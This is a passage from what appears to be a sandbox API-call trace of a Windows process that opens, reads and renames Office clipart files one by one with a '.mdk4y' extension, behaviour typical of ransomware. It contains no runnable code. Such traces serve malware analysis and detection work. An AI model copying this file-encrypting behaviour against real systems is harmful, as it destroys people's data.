Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822144700000) returned 1 [0146.217] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b80, lpOverlapped=0x0) returned 1 [0146.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822150200000) returned 1 [0146.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822150200000) returned 1 [0146.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.mdk4y")) returned 1 [0146.275] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.275] AreFileApisANSI () returned 1 [0146.275] GetACP () returned 0x4e4 [0146.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105250.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105250.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.275] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822150600000) returned 1 [0146.276] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1214, lpOverlapped=0x0) returned 1 [0146.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822163600000) returned 1 [0146.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822163600000) returned 1 [0146.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.mdk4y")) returned 1 [0146.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.407] AreFileApisANSI () returned 1 [0146.407] GetACP () returned 0x4e4 [0146.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105266.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105266.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822163800000) returned 1 [0146.408] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1714, lpOverlapped=0x0) returned 1 [0146.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822168500000) returned 1 [0146.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822168500000) returned 1 [0146.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.mdk4y")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.457] AreFileApisANSI () returned 1 [0146.457] GetACP () returned 0x4e4 [0146.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105272.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105272.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822168700000) returned 1 [0146.457] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4540, lpOverlapped=0x0) returned 1 [0146.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822177900000) returned 1 [0146.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822177900000) returned 1 [0146.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.mdk4y")) returned 1 [0146.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.551] AreFileApisANSI () returned 1 [0146.551] GetACP () returned 0x4e4 [0146.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105276.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105276.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822178200000) returned 1 [0146.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b28, lpOverlapped=0x0) returned 1 [0146.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822179700000) returned 1 [0146.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822179700000) returned 1 [0146.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.mdk4y")) returned 1 [0146.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.568] AreFileApisANSI () returned 1 [0146.568] GetACP () returned 0x4e4 [0146.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105280.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105280.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822179900000) returned 1 [0146.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d14, lpOverlapped=0x0) returned 1 [0146.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822186700000) returned 1 [0146.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822186700000) returned 1 [0146.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.mdk4y")) returned 1 [0146.638] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.638] AreFileApisANSI () returned 1 [0146.638] GetACP () returned 0x4e4 [0146.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105282.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105282.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822186900000) returned 1 [0146.639] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12bc, lpOverlapped=0x0) returned 1 [0146.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822192500000) returned 1 [0146.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822192600000) returned 1 [0146.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.mdk4y")) returned 1 [0146.697] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.697] AreFileApisANSI () returned 1 [0146.697] GetACP () returned 0x4e4 [0146.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105286.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105286.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822192800000) returned 1 [0146.698] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a8, lpOverlapped=0x0) returned 1 [0146.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822194000000) returned 1 [0146.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822194000000) returned 1 [0146.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.mdk4y")) returned 1 [0146.713] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.713] AreFileApisANSI () returned 1 [0146.713] GetACP () returned 0x4e4 [0146.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105288.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105288.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.714] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822194400000) returned 1 [0146.714] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3dd8, lpOverlapped=0x0) returned 1 [0146.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822200600000) returned 1 [0146.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822200600000) returned 1 [0146.778] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.mdk4y")) returned 1 [0146.779] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.779] AreFileApisANSI () returned 1 [0146.779] GetACP () returned 0x4e4 [0146.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105292.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105292.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.779] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822201000000) returned 1 [0146.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a14, lpOverlapped=0x0) returned 1 [0146.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822202400000) returned 1 [0146.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822202400000) returned 1 [0146.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.mdk4y")) returned 1 [0146.795] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.795] AreFileApisANSI () returned 1 [0146.795] GetACP () returned 0x4e4 [0146.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105294.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105294.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822202600000) returned 1 [0146.796] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1580, lpOverlapped=0x0) returned 1 [0146.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822210400000) returned 1 [0146.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822210500000) returned 1 [0146.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.mdk4y")) returned 1 [0146.876] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.876] AreFileApisANSI () returned 1 [0146.876] GetACP () returned 0x4e4 [0146.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105298.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105298.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.876] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822210800000) returned 1 [0146.878] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18b0, lpOverlapped=0x0) returned 1 [0146.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822220400000) returned 1 [0146.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822220400000) returned 1 [0146.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.mdk4y")) returned 1 [0146.977] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.977] AreFileApisANSI () returned 1 [0146.977] GetACP () returned 0x4e4 [0146.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105306.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105306.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.978] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822220800000) returned 1 [0146.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10e0, lpOverlapped=0x0) returned 1 [0146.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822221800000) returned 1 [0146.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822221800000) returned 1 [0146.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.mdk4y")) returned 1 [0146.990] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.990] AreFileApisANSI () returned 1 [0146.990] GetACP () returned 0x4e4 [0146.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105320.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105320.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822222100000) returned 1 [0146.991] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e4, lpOverlapped=0x0) returned 1 [0146.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822222300000) returned 1 [0146.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822222300000) returned 1 [0146.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.mdk4y")) returned 1 [0146.994] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0146.994] AreFileApisANSI () returned 1 [0146.994] GetACP () returned 0x4e4 [0146.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105328.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105328.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0146.994] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0146.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822222400000) returned 1 [0146.994] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, 